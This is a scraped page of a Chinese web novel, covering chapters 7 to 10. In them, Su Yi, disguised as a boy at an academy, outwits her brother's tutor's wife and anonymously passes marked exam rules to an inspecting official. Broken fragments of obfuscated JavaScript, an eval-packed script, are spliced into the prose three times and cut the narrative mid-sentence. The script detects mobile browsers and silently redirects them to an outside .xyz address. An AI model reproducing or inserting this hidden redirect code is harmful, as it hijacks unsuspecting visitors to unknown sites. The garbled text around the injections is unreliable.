35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472556|185549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 潘先生显然也对接手这样一个学生十分欢喜,什么事情都先紧着他,没有批评和打压,只有无尽的鼓励和赞美,这可是从前在书院当中只有那几个公子哥儿才有的待遇。 苏缜这次读书简直舒心到不行。 苏宜也跟着点头微笑。 果然幸福还是对比出来的,跟之前的书院生活一比,这样的关照便显得尤为难能可贵。 苏家父母也都在盼着苏宜回来,这会儿看她一切安好,眼眸灵动,脸上还有未消散的点点笑意,不像是受了委屈的样子,终于也放心了不少。 苏缜忙前忙后帮着姐姐归置行李,林茵小声对丈夫道:“果然还是咱们小宜厉害,在学堂也更适应些。” “是啊。”苏隅点头表示认同。 苏缜去到学堂后,第一次放假回家就跟霜打的茄子似的,各种不适,而苏宜也是第一次上学,却看起来过得很是滋润,也许的确跟她那日说得一样,她才是更适合上学的那个。 只是女子到底不能科举入朝,就算在学堂学得再好日后也只能嫁个家世好一些的男人。 想到这里,苏隅心中默默一叹,要是苏宜也是个男孩不知道有多好,只可惜是个女子。 苏宜从前在家时,也经常陪窦氏一起想辙,在条件有限的情况下吃得更好一些,后来发现将炒好的蔬菜和肉类切丝卷入饼中,再加上一些酱料味道不错。 窦氏烙饼手艺最好,这会儿刚在厨房忙活完了,就把饭菜端了上来,招呼几人落座吃饭。 窦氏先问了问苏宜在学校的情况,得到了“一切都好”回答,窦氏看她神情不似作伪,大概这段时间在书院待的不错,越发有些得意:“你在城中学堂书念得好,小缜也是日日被潘先生挂在嘴边夸奖,当时还是我当初还是我有远见,让你们各自读书,才有了如今的好处。” 苏宜:…… 这不是大家共同商定的吗?怎么这会儿又成了祖母您的决定。 苏隅到底还是更关心儿子的前程:“也不知潘先生授课如何,能不能把缜儿带过县试。” 虽然潘先生很想努力让苏缜考上秀才,但他教书育人多年,手下的确从未带出来一个过院试的学生,只有一个三年前通过了第一轮县试的孩子,当时就算是轰动整个和松乡的大新闻。 所以苏隅对他的教学能力有所怀疑也是人之常情。 对于父亲的这个观点,苏宜倒也认同:“二弟的确不必一直都待在私塾,日后有了机会可以再走出去找更得用的先生。” 古代女子虽然发育较晚,但到了十四岁后女扮男装就会添更多的困难和不便,苏宜目前也只打算在书院读上三年的时间,三年内替苏缜扫清人际障碍问题不大,他再回去上学时便能够有更好的人脉资源和学习氛围。 即便她在姨母和学校饭堂吃得不错,短短十日整个人便盈润了不少,然而窦氏还是只顾着给她加菜,满碟满碗都有些装不下,比当初苏缜求学回家时热情多了。 苏家父母觉得她在外求学辛苦,也是一个劲儿的给她加菜,苏缜则一直认为苏宜都是为了帮他,才主动要去的学堂,否则他现在过得这些好日子都应该是姐姐的,所以对苏宜有些内疚的同时又充满了感激,也不停抽空给姐姐加菜。 苏宜回家的第一顿饭可谓吃得其乐融融。 吃过晚饭之后,苏缜回房间去做功课,母亲和祖母两人收拾书房和碗筷,苏宜趁机将父亲拉到一边,对他提醒道,学院有两个同学打架牵扯到了苏缜,其中一个同学姐姐一直因为不平,没准会来家中找麻烦。 能去书院念书的孩子大都家境优渥,有些背后还有意想不到的关系,想到这里,苏隅不免抱怨起来:“当初去书院时,我千叮呤万嘱咐让他小心谦逊,不要跟同学为难,他倒好,不光在外读书不上心,还生出这些事情来。” 孩子在外面出了问题或者有什么纠纷,家长第一时间不是去了解情况,而是责备自家孩子,这也是很多东亚家长的通病。 苏宜皱眉:“他们不过也是一时置气,到时未必会来,只是我想着提前回来说上一声,让您心里有数罢了。” 说话间,奚家阿婆提了两捆野菜来访。 窦氏以为对方又是来比东比西,一昂头便进入战斗状态,哪知还不待她发力之时,对方就绕过她道:“小缜在家吗?” “在的,我叫他。” 林茵应声之后将苏缜唤出门来,苏缜听说奚阿婆专程过来找自己也有些意外:“阿婆您找我?” “是来找你。”奚阿婆赶忙道:“兰兰前儿也去了潘家私塾,回来哭了两回,说是在学里做不好事惹得师母骂她,我便寻思来问你一句,难道不是潘先生给你们上课吗?怎的你们师母也跟着掺和?” 苏缜答道:“私塾里授课的只有潘先生一人,没有其他的教习老师,有时先生忙不过来,师母的确会帮着做一些事情。” 苏宜记得原文当中曾经提过一句,苏家和奚家的女儿都生得不错,只是苏缜是小说当中重要配角,原文中也只写了原身在私塾的遭遇,如今苏宜不在私塾念书,被师母挑理儿寻晦气的事情就落到了奚兰兰的头上。 奚阿婆一听这话脸都皱了起来:“上次你祖母说,宜姐儿在城里跟着姨丈读书认字,不光会算账还会了写文章了,我寻思让兰兰去私塾上个一年半载,好歹认几个字总不能在家当睁眼瞎……” 哪知才去几天,这孙女就回家一通闹腾,说是宁可在家绣花做饭也不去上私塾了。 苏宜觉得不管奚阿婆是为了和祖母攀比赌气也好,受了苏家启发真心想让孩子读书识字也罢,在这样的时代里愿意送女孩上学,本就是件值得鼓励提倡的事。 她这几日光顾着书院那头,的确是还没腾出手来管私塾这边的事情。 这潘太太就是成日在家太闲了,所以天天盯着学堂的女孩子,生怕哪个勾走了自家那个废物的儿子。 只要想个法子让她忙起来,事情就解决了大半。 苏宜想了想,对苏缜道:“自从你去了学里,潘先生就很照顾你,平日里都是阿婆阿娘她们去先生家里致谢送人情,这会儿我既然回来了,就不用再麻烦两位长辈,由我去送节礼吧。” 明明是很平静的一句话语,苏缜却听出了隐隐的杀气。 他而今好歹算是先生得意门生,真打起来还能帮着姐姐说个情。 想到这里,苏缜迅速起身更衣:“姐,我陪你去。” 8. 008 苏缜将母亲给潘先生准备好的节礼拿给苏宜。 林茵有些尴尬地搓了搓手,对苏宜道:“你们学院里先生多,我们都不认识……也没顾上给他们准备节礼,正好还有一天时间才要中秋,明日备了送去也来得及。” 苏宜记得,去年家里也没给苏缜的先生送节礼,可见当时也没有这个习惯,大概是今年听苏缜说起了潘先生对他的额外照顾,又是乡里乡亲,才想起来要给老师送节礼。 可见苏家父母送节礼并非一种对先生们接下来工作多照顾孩子的要求,而更多的是一种感谢。 很符合原文中老实父母的人设。 苏宜摆手道是“不用”。 李笙这样的先生即便收不到节礼,也会好好对待学生,戴先生那样的先生除非送他一些金银细软,否则还要被拿出来在课堂批判,所以也不用送。 苏宜跟着苏缜出门之后一路向西,去往潘先生家中。 潘家夫妇也刚刚吃过饭,正在屋里说话。 苏宜象征性地在门边轻轻叩了三下,才走进房中,示意苏缜将礼物放下:“家中父母都十分感激先生对小缜的照顾,一点薄礼,不成敬意。” 潘先生让二人坐下说话,潘太太也客气十分,和文中短短几句就能将原身骂哭的那个泼辣妇人判若两人。 闲谈几句之后,潘太太想起村中传言,对着苏宜问道:“听说你姨丈就在城里的泰丰楼的账房,若是我想在那儿宴请娘家兄弟,他可能帮忙给个实在价格?” 苏宜道:“那次我去酒楼给姨丈送饭,还遇上了店里老板娘,看起来大方爽朗,是个不错的人,既然太太开口,等我下次遇上了一定帮您问问。” 苏缜不自觉抬眸看了苏宜一眼。 姐姐这个回答的确相当巧妙。 姨丈好面子,乡亲们和熟人的托付总是拉不下脸拒绝,前前后后不知往里填了多少私房,姨妈没少因为这事同他冷战。 而苏宜不拒绝不答应,只说要问过老板娘才能有答复,无形之中把姨丈摘出来不说,又给了潘太太新一轮的希望。 苏缜突然觉得,在平常生活当中尤其是为人处世方面,自己需要跟姐姐学习的地方还有很多。 潘先生大概也觉得妻子当着爱徒的面这样直白问话让自己没面子,登时有些不悦地对她道:“小宜如今住在姨母家中还要帮衬家里做活,照顾家中弟妹,哪有时间去问这些?” 潘太太道:“我不过是平白问上一句,你激动什么。” 说罢,又上下打量了苏宜一番,才缓缓道:“县城有人就是不一样,宜姐儿去城里住了几日,越发出挑了。” 潘先生也道:“你姨丈从前也是考过科举的,可惜只过了县试,没能得个廪生,不过你一个女孩子,能跟着他学一学也尽够了。” 起码比她那个只会种地和做木工的爹强些。 “是啊。”苏宜应道,“我原也以为取得秀才功名就能高枕无忧,得一辈子优待,故而总替姨丈惋惜。谁知那日去泰丰楼送饭时听学子们说起,秀才每年都要参加岁考,省里新来的督学又很是严格,弄得大家都忧心不止,只能更加努力备考,以求保住功名。” 潘先生身上有秀才功名,也要参加岁考,一听这话当即来了精神:“果真?” “明德书院的学生是什么说的。”苏宜道,“说是什么当今圣上以孝治天下,新的督学也尤为注重学生家风,之前几个乡邻评价不好的考生,岁考都给了劣等。” 潘家夫妇闻言对视了一眼,神色都有了明显的慌乱。 潘先生不善经营关系,去外头教书都被领导和同事排挤了回来,潘太太也不是什么善茬儿,认为丈夫是潘家唯一的儿子,自己又辛苦为潘家生下了长孙,潘家所有财产都应是自家的,哪怕潘母给两个姐姐做件衣裳拿几个果子,都要大闹一场。 潘父过逝后,潘母跟着儿子住了一段时间,被儿媳气得胸闷失眠,头疼不止,为了能够多活一段时间,前年便一个人搬回了老房子靠织布为生,远离这些不肖子孙。 简而言之,潘家两个姑姐和潘家夫妇关系闹得很僵,已多年不曾来往,潘母也坚决不再来跟着儿子住,接受潘家夫妇的侍奉。若是岁考之时被问起家风和孝道之类的问题,潘先生怕是很难回答。 大周科举制度规定,参加岁考的考生“一二等皆给赏,三等如常,四等挞责,五等则廪、增递降一等,附生降为青衣,六等黜革。继取一二等为科举生员,俾应乡试,谓之科考。”【1】 也就是说,岁考成绩好的可以得到奖励或擢升,考选廪生后可进国子监为“贡生”,成绩太差的还可能失去秀才这个功名。 家中如今的一切靠得都是潘先生秀才的名号,如果秀才名号都没了,怕是连私塾也开不成,对于肩不能扛手不能提的他来说,经济来源都成问题。 潘母疼惜两个女儿,如果潘太太不跟姑姐们道歉搞好关系,肯定不会原谅这夫妻两个,也不会过来和他们同住。 潘先生要教书维持生计,潘太太就要想法子去完成这些事情,偏生她和两个姑姐积怨已深,怕是要低声下气好一阵儿下大功夫才能转圜,自然没空再盯着私塾里的女学生,也能给奚兰兰等人营造一个风清气正的学习环境。 ** ** 一转眼就到了中秋这日,吃过团圆饭后,苏隅便在院子里摆了个八仙桌,道是难得过节,让苏宜姐弟先把功课放一放,去院子里头赏月吃月饼。 明知看得不是一个世界的月亮,但苏宜还是会想念远方的家人。 不知道妈妈在那个世界过得好不好,眼疾有没有再犯,她离开后妹妹能不能在公司独当一面,有没有再受委屈,会不会像小时候那样关上门窗偷偷哭鼻子。 林家节前已经来苏家送过了一次节礼,只是那时苏宜还求学未归,在两个弟弟的强烈要求下,林有春又带着他两人提了盒兔子月饼过来拜访苏宜。 林家这几年过得艰难,干什么都没心绪,给两个孩子气的名字也相对敷衍,一个小二一个小三。 小二一见到苏宜眼睛就亮了起来:“上次的书还没有说完,我和弟弟都念了好些天,苏姐姐再给我们讲讲吧。” 林有春在弟弟脑袋上拍了一掌:“没规矩,大过节的,就来使唤人。” 小二捂着后脑勺委屈道:“可过了明天苏姐姐就回去了。” 下次再见到又要好久。 爱学习不管什么时候都是一件值得鼓励的事情,苏宜抬手制止道:“你别骂他们,还是上次的兵书是吧?正好今晚有空,咱们再讲两章。” 苏缜也闻声走了出来。 自从去年苏宜说他这个年纪喝酒脑子会变笨考不上科举之后,就再没有用过酒水,这会儿带了两壶果子露和炒花生过来,坐下一起来听。 他之前都在书院读书,前两年和姐姐接触较少,这还是他第一次听苏宜讲这些兵书一类的东西,深入浅出又极尽生动,听着听着便隐隐有了一些抛笔从戎的向往,如果让她去帮朝廷去做征兵宣讲,定能讲得人热血沸腾,极具煽动性。 只可惜姐姐是女子,不会有机会进入兵部,也进不了五城兵马司。 说话间,潘太太来带了两盒点心过来家中,对苏宜致谢,道是幸而消息及时,让潘先生能够在新的督学主持岁考前好好准备,临走前又对她道:“你的好处我和先生都记得,你只管放心,日后学里一定会好好顾着你弟弟,过个县试府试都不成问题。” 苏宜点头,一脸的礼貌性外交微笑,“您客气了。” 那句话怎么说来着?她还得谢谢咱呢。 近来苏家条件变好,假期几乎顿顿是大餐,几位家长又总怕苏宜在外过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏宜性格爽利,办事妥帖,每天步行一个多时辰去学堂从不喊苦喊累,还知道尊重长辈,教表妹读书这事第一时间过来询问自己意见,实在是很对她的性子。 虽然林茵也一早跟她说好,亲姐妹明算账,但是苏宜的生活费她是不打算收了。 话说回来,她那姐姐姐夫两口子都是老实人,苏浔苏缜两兄弟也不善言辞,没想到还有个这样伶俐的闺女,到时请泰丰楼的老板娘帮着牵个线,在县城嫁个颇有家底的人家不成问题。 ** ** 第二天书院正式开课,苏宜去上课时却没有见到贺景辞其人,直到放学回家之时,才在学校大门看见了一早等在那里的贺景辞。 他一见到苏宜便拉住她的袖子,兴高采烈道:“放学别走,咱们去泰丰楼吃饭,我请你。” 上次老板娘将贺景辞拦在酒楼门外的情形还近在眼前,苏宜好奇:“你母亲给你解禁了么?” 怎么这会儿就能大摇大摆去泰丰楼了。 贺景辞邀请她上了马车,絮絮叨叨说起这几天来发生的事情。 叔父回家了解情况之后批评了母亲,婶母也劝着长嫂,贺家恢复了家中原本的饮食习惯,他而今已是想吃什么便能吃什么了。 “这敢情好。”苏宜道,“你叔父一家回来过中秋,也省得大过节的家里就你们冷冷清清两个人。” 贺景辞却摇头道:“他是跟着巡查使付大人的车回金陵的,也没有赶上中秋。付大人打算先微服在金陵周遭转一转,再亮了身份去衙门巡视,这会儿自然就住了我们家里。付伯父学识渊博,我叔父也是一门心思盯着我上进,每天都要他们两个被查问功课……我也是苦不堪言。” “没事。”苏宜安慰道,“明日你早些去学堂上课,他们总管不到学里不是?” 贺景辞长叹一声,道:“我去学堂时他们出去,散学了刚好回来,哪里就管不上?” 苏宜:…… 本来还想旁敲侧击地问问钦差付大人的行踪,没想到这小子第一时间全都交待了。 苏宜有些怜惜地看了他一眼:“辛苦你了。” 付大人出现的时间地点都有了,只消在放学之时等在付大人回贺宅的必经之路,就总有机会把状子递上去,解决段文翰便是分分钟的事情。 9. 009 大约两刻钟后,马车在泰丰楼前缓缓停下。 贺景辞率先一步跳下车子,昂首阔步地走了进去。 上次过来用饭却被老板娘朱氏请出去的事情他一直没忘,所以一解禁就带着当日的见证人苏宜来了酒楼,这会儿被几个伙计热情招待簇拥着进来,心中只觉扬眉吐气。 这次过来吃饭的前置过程实在折腾,贺景辞也不客气,上来就点了一桌硬菜,苏宜看着进进出出上菜的伙计心中一叹,这一桌子的菜别说是他们两个,再来五六个人也尽够了。 最后一道汤菜端上桌后,苏宜不免摇头道:“你也差不多些,让你叔父看到,怕是又要念你。” 她说完这话旋即想到贺夫人行事离谱,贺景辞这段时间也着实不易,这次也是为了请自己才点了这些招牌菜,口气又缓和了几分:“不过还是多谢你的招待。” 贺景辞十分大气地挥一挥手:“客气什么?前段时间还不是你一直帮我?去书院早读都不忘带吃的给我,这点小事都是应该的。” 他边说边拿公筷,夹了当初让两人结缘的烧肉给她:“咱们只管放开了吃,就算吃不完也没关系,叔父这次一家人都回了金陵,堂弟堂妹也都住在我家,到时打包回去,也叫他们尝尝咱们上元县的饭菜。” 看苏宜将自己添在碟中菜肴尽数吃下,贺景辞这才夹了一块烧肉放到自己口中,品了好一会儿后,道,“从前天天对彭师傅的烧肉朝思夜想,现在吃着滋味也就这样,还是你姨母做得更可口些。只可惜她只在家里做菜,不肯出来开店,否则一定生意极好。” “是啊。”苏宜也道,“我姨母的确不是那样的人。” 钟姨妈虽然行事干练爽利,但之前受了外祖父的影响,骨子里对那些女则女训非常认同,认为女人就应该在家好好相夫教子,不该抛头露面出来和男人抢差事。 可若是不让她抛头露面,只在家从事生产呢? 苏宜记得前世外婆家小区楼下有个号称正宗内蒙牛肉干的店铺,每天都做两炉现烤牛肉干,不光可以称重卖给当地居民,还给附近几家酒店供货做冷盘。 如果让钟姨妈在家做好烧肉和肉脯,拿给酒馆或店家供货,她大概率会同意的。 毕竟这和在家织布绣花拿那去出售没区别,能接受绣品拿去售卖还钱自然也能接受做好的吃食拿去出售。 苏宜想了想,道:“你的说法也有道理。只是最近换季,姨母正赶制秋衣和腌制一些酱菜,并不得闲,等忙过这一阵儿我再劝她便是。” 苏宜本就饭量平平,贺景辞开荤之后嘴就基本没有停过,进酒楼前已是吃的半饱,这会儿也没用多少,一桌饭菜最后不出意料的没有吃完。 贺景辞经历了之前没饭吃的日子,再不浪费饭菜和粮食,都让伙计一一打包带了回去。 送走贺景辞后,苏宜开始盘算起来。 送状纸这事有一定风险,毕竟她对付大人的印象只有书中几章的描述,并不知道他背后站着哪些人,和贾家是不是旧识,会不会充当上元县衙的保护伞。 即便原文曾经多次提过付大人是个负责人的好官,但苏宜仍然不能去赌。 韩夫人要找苏缜和苏家麻烦也不过是民事纠纷的小打小闹,但她状告段文翰的事情被贾家和段家知晓,最后铁了心报复下来,苏家一定承担不起。 所以她的首要任务就是要做好自我保护。 而今除了林家村和姨母一家外,无人知道她是女儿身,所以女装上阵反而可以更好的隐藏身份。 接下来苏宜就着手开始前期准备工作。 她先一步去书肆买好科考条例,将其中两段重点拿笔标注出来,而后告知姨母自己这几日放学后有事出门,晚上不用给她备饭。 钟家距离贺家还要走一刻钟的路程,苏宜放学回来第一时间换好衣服,然后去贺家门外等人。 钟姨妈看她换上了久违的穿女装,不免有些奇怪:“不是都商定好了扮男装上课,怎么这会儿又就换了女装?” 她在上元县城住了这些年,从没听说明德书院招收过女学生,万一被人揭穿身份后退回来,怕是又是一桩麻烦,没准余下的学费都拿不回来。 苏宜早就想好了话术:“村里有个相好的姐姐年后出嫁,托我近几日得闲时四处转转,给胭脂水粉和喜服料子比比价,我想着男子装束天天去逛胭脂店终究古怪,还是女装更自在些。” 钟姨妈接受了苏宜的说法,了解地点了点头:“你也别在外面跑太累,锅里给你留饭,你快去快回。” 这日,贺景辞下学路上吃了两碗馄饨,急需散步消食,便让车夫先行回府,自己则慢悠悠地步行回去。 在他即将散步抵达大门之时,就见得一白衣女子迎面而来,步履匆匆,和自己擦肩而过。 那女子带着帷帽看不清面容,看样子年纪不大,身形瘦削,身上还有着若有若无的兰花香气。 明明他在上元县认识的年轻女子一只手就能数得过来,也确定从没见过此人,但贺景辞就是觉得有种莫名的熟悉。 苏宜也注意到了归家的贺景辞,对方没认出来女装的自己,她倒是一点都不惊讶。 算起来这已经是她第三日过来贺家等人。 几位大人每日调研回来的时间大概在申正二刻,她紧赶慢赶到贺家附近大都过了酉时,没能遇上也正常。 好在她运气不错,就在方才刚刚经过贺家大门之际,就见得一个四十岁左右的中年男子也来了门前,身后还带了八个随行和护卫,整个上元县都没见过排场这样大的人。 苏宜走上前去,并没有找目标任务付大人说话,毕竟这些京城里来的大官都惜命,不会贸然让她靠近自己。 苏宜缓步走上前去,找到落在最后的那个护卫,用付大人能够听清的声音对他道:“民女有东西要交给前头那位老爷,还请大哥帮忙转交。” 说罢,不待付大人回复,便福身道谢后快步离开。 其实她一开始也想过要给门房代为转交,这样就不用每天过来“偶遇”,免了好一番辛苦。 但想起前些日子贺景辞没少抱怨自家门房婆子做事懈怠,连他和母亲的吩咐都不听,若是将册子交给这样的婆子又没有足够多的好处,对方本着多一事不如少一事,大概率是不会把书册交给付大人的。 她前世就是这样的性子,邮件发完之后要再检查一遍邮箱的已送达,标书也要亲手交给甲方看着对方收下才能放心,这次也是一样。 临行之前苏宜用余光看到付大人已经开始询问收了册子的随行,就知道这事成了一半。 毕竟就文中的时间线而言,皇帝要在明年要开一届恩科,今年一定会严抓科举舞弊违规等一系列案件。 若是付大人像原文中所写的那般负责,定然能够从书中找到线索,查办上元县衙帮着段文翰隐瞒户籍科考之事。 ** ** 付大人回到书房刚刚更衣完毕,便听得外头有不轻不重的敲门生产传来,他抬头道了声“请进”,就见得贺大人带着一个十三四岁的清隽少年进来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472558|185549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那少年走上前来,依着小辈礼数对他见礼。 贺大人在一旁介绍:“这是盛译家大小子,祈安,咱们从前见过的。” 一听说是故友之子到访,付大人当即从座位上走了下来,拍了拍盛祈安肩膀,道:“几年功夫不见,这孩子都长这么高了。上次青州相见时,你父亲还说等不日回京后,要拿他那坛藏了二十几年的状元红来喝,这一晃几年过去了,酒也没见到一滴,好在把你盼来了。” 他们三人是当年国子监的同窗兼同科,这些年关系一直不错。 盛祈安闻言也道:“家父接了您的来信后还在说起了此事,道是请您得空一定要去扬州喝上一杯。” 说罢,他将一本蓝色册子取出,递到付大人手上:“世伯要的东西,我替父亲送来了。” 付大人看清那册子后神色一变:“你此行一路过来,没惊动什么人吧?” “没有。” “能把这本账册搞到手着实十分不易。”贺大人叹道,“于知府背后还站着恪王,幸而有你父亲出手相帮,否则付兄这次巡查能不能顺利交差还是两说。” 说话间,年轻的随从敲门请示后走了进来,对着站在屋子当中的付大人道:“大人,这书小的已经查验过了,并未有什么不妥。” 之前赵大人去巡视江西时有年轻女子送的锦盒中藏了毒虫毒药,其他朝廷官员听说此事后也变得越发小心,就算只是薄薄的一本书册也要仔细检查后才交到大人手里。 随从退下之后,贺大人才对着好友好奇道:“这又是什么?” 付大人道:“方才巡访归来之时,一个小娘子来送的,就在你家门前。” 贺大人出声打趣道:“说是微服查访,看来还是走漏了消息,都有人送礼送到了你跟前来,没准还是什么难得的名家孤本,快翻开来瞧瞧。” “这世上哪有不透风的墙?”付大人道,“圣上去巡视京畿都会走漏消息,何况你我。” 说罢,他翻开书册,发现只是一本基础款的科举条例和事项规范,甚至都不是精装版本。 两人都心中纳罕,不知这个送书人唱的是哪一出。 盛祈安想了想,道:“是不是那姑娘想说的话却不方便写出来,就藏在条例当中。” 付大人翻开书册逐页浏览了一番,果然在书册二十页前后的地方有笔墨的标注。 标注出的内容一为三代之内不能科考的职业及情形,二为科举考试对于考生户籍提报的要求。 “这人是想告诉我们,上元县科举的参试考生有什么问题?”贺大人的眉头皱了起来。 “大抵如此。”付大人眯了眯眼睛,“能想到这样的法子,也的确是个通透人。” 这人大概掌握了一些信息或证据,但碍着考生身份不能直说,所以才会想到这样的法子。 如此将状子递上来,的确能够做到不留任何痕迹,他这个接受状子的巡查官都不知状告之人的身份,被告就更不可能知道,也不会对那姑娘打击报复。 盛祈安站在一旁,看付大人翻书之时有花瓣顺着书页落下,大概是书的主人生怕付大人看不到标注,拿来做书签的。 八月金陵城菊花开得极盛,而这枚花瓣饱满鲜活,状如金缕,大概是送书人精挑细选后搁在书页,这会儿却孤零零的落在地上,只消贺大人稍稍挪步便会被踩到脚下。 盛祈安心中升起了一种隐隐的不忍,随着时间一点点拉长,心中情绪越发强烈,最终还是认命般的低头捡起花瓣,握在了掌心之中。 10. 010 一旁的两位大人还在就此事激烈讨论,如果上元县中真的有这样科考违规的案例存在,那就必须一查到底。 毕竟圣上已经决意明年要开恩科,稍微有点政治头脑的人都知道这时候不能出乱子。 付大人此次作为圣上钦定的巡察官巡视山东江苏一带,若是没有查明此事,明年由别人将案子爆出来,不只是他,这次跟着出来巡查的其他官员大概率都会受到牵连。 而今几个手下还在济南府给之前工作收尾,等他们也抵达金陵后,就可以着手调查。 那姑娘大概率是上元县人,又在这个节骨眼将状子递了上来,所以可以先着手从这次县试府试院试通过的人开始查起。 贺大人想着盛祈安是故旧之子,大老远的来了金陵,断没有刚刚过来就让人回去的道理,况且盛大人那边还需要等待付大人的下一步指示和计划,而付大人刚到金陵,情况还没摸透,需要他等上几日再带信回扬州。 得知盛祈安在刚刚结束的院试当中又是得了案首,如今已是小三元及第,贺大人越发热情的要求他留下来小住几日,给自家那不争气的儿子和侄儿做个榜样。 盛祈安过来金陵之前,父亲也曾叮嘱,若是两位伯父挽留,可以在贺家多待一些时日。自己近些年不得闲,不能跟老友相聚,他代自己留下来住上几日也好。 盛祈安倒是没什么意见。 毕竟就在几日之前他刚刚过了院试,距离三年后的秋闱考试还早,读书也不急在一时,况且两位伯父都学识渊博,还都是两榜进士出身,哪怕只是闲谈交流也能学到好些东西,受益匪浅。 而这一变故发生后,最难过的就要数贺景辞。 注意到邻桌肉眼可见的颓废下去,苏宜不免奇怪:“是你母亲又对你进食有要求了吗?” “那倒没有。”贺景辞重重一叹,“不过我现在宁可回到三个月前我被要求吃素的时候。” 至少那时还有苏宜这样的热心同学帮衬,能阳奉阴违出来开个小灶,而今家里头住进来个盛祈安,把自己和堂弟衬得连根草都不如了。 贺景辞带着苏宜在学校附近酒馆的包厢坐下来后,就开始对她大吐苦水。 “家里来了个年轻公子,是我叔父以前同窗的孩子,而今扬州知府盛大人的长子。” 扬州知府盛大人的长子? 苏宜眉心一跳,没想到男主盛祈安这会儿就来了金陵。 贺景辞没注意到苏宜脸色的变化,自顾自地继续说道:“听说那位盛兄打小聪慧,还不会走路就能背诗,五岁识遍所有文字,七岁便已出口成章,关键还是小三元及第……” 让他这个考了三年县试不中的人情何以堪。 叔父回来后本来盯他盯得紧,又有这么一个榜样在身边,贺景辞不敢一身酒气回去,只能以面汤代酒狠狠喝了一口,道:“这人学问好成绩好也就算了,怎么一张脸也能长得那么好看,还有没有天理了?” 苏宜心道,这位就是天道的亲儿子,还要什么天理? 不过话说回来,贺景辞这会儿也是真的可怜,父亲早亡,母亲把全部的心力都倾注在了他的身上,叔父盯他也比自家儿子更紧一些,就是希望他日后能科考入朝独当一面,以慰兄长在天之灵。 而盛祈安是学问人品都过硬的科举文的男主,对于贺家人来说是真正的“别人家孩子”,如果在金陵住上个一年半载不回去,那贺景辞兄弟大概也要很长一段时间都要生活在男主的阴影之下。 想起原文当中苏缜和盛祁安的冲突和最后BE结局,苏宜不免有些排斥和盛祈安有太多接触,即便在一个城市同住都多少会有点担心的那种。 她安慰着贺景辞顺便安慰自己:“既然他父亲还在扬州做官,想来在金陵也不会住上太久,等再过几日他回去之后你也能松快一些。” 贺景辞回忆了一下叔父的话,道:“说是付伯父还有什么土仪要他带回去交给他父亲,只是这会儿还没采购回来,所以还需多住一些时日。” 苏宜心道,以贺家在上元县这边的地位加上付大人的钦差身份,什么土仪弄不到?哪还要还要采购这么久? 联系一下原文剧情,应该是还没想好给盛父的下一步指令,所以需要盛祈安再多等今日。 “对了,我这两日还听了一件奇事。”贺景辞道,“前天遇到了我一个出了五服的远房堂哥,刚刚考过了县试,说这几日突然开始排查起了他们这些学子,官学之中已被查了大半,也不知是怎么回事。” 那本手册递上去不过短短几天,苏宜也没想到付大人动作如此迅速,想来段文翰谎报籍贯参加科考之事,很快就会有眉目。 ** ** 这日晨读之时,李笙过来教室带走苏宜,走到廊下僻静处对她道:“我家中有个堂兄在城南开了一家书肆,那日在我书房看到你的功课,觉得字写得甚好,问你可愿接一些书肆抄书的活计。” 看苏宜陷入思考,并未第一时间答复,李笙接着补充道:“他叫李哲,原也是我们书院的学生,论起来也是你的师兄,说是只要你点头愿意,他绝不压价,按着书行最高价给你。” 不得不说还是城里机会多,这对现在的苏宜而言最擅长也是最容易的活计,她点头应道:“多谢先生,我愿意。” 李笙最先注意到苏宜从她写的一手好字开始,一段时间接触下来,发现苏宜天资聪颖,很有头脑,写出的文章虽然措辞稍显白话,行文不够流畅,但是立意很好,有不少他和其他先生从前都没有想过的观点。 科举的核心就是命题作文,言之有物最重要,有了良好的立意可以忽视行文的不足。 最重要的是苏宜的字也好看,是会让监考官和阅卷人眼前一亮的程度,在书院好好学个一两年考过县试绝对不成问题。 只可惜这个这个学生天资聪颖却又没有多少进取之心,有种十分平静而理所应当的躺平,李笙不由心中替她着急。 紧接着,李笙便开始给苏宜画饼,细数考取举人之后为官的好处和家人可以享受的种种优待政策,企图唤醒苏宜的进取之心。 一番情真意切的劝说听得苏宜频频点头:“谢谢先生,我已经在努力了。” 她自然知道入朝为官的好处,现在所做的一切,都是为了日后做皇太女身边做事做准备,若是日后真能成事,也不枉费了李先生的一番期待。 虽然抄书是大多数学子们获取收益合法而高效的途径,但原文当中苏缜并未通过这个途径赚取外快。 一则是因为苏缜的字只能算是中上,且还要将精力放在读书科考之上,没多少心思和时间做这些事,一方面是书院之中攀比情况并不少见,苏缜虽然家境平平,却也有着少年人的自尊心,不愿让同学知道自己在外做这些活计。 苏宜抄书的第三日,就有一个生人高马大的同学晁信走过来,“啧啧”两声后问她是不是家中穷困,攒不起束脩才总在课间抄书换钱。 班上都是十几岁的孩子,面对着县试过关、父母期盼等诸多压力,情绪得不到很好的宣泄,对社会的认知和人情世故的处理方式尚不明晰,不知轻重。 更兼有些孩子本性就非良善之人,早在欺负同学的过程中获得了某种隐秘的乐趣,此言一出,很快 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“这可是李记书肆东家点名让我们苏宜抄书去送的,可不是什么人抄了都能要的。晁信就你那春蚓秋蛇的两笔字,也好意思出来质疑苏宜抄书的事,让人课间休息都不安生!” 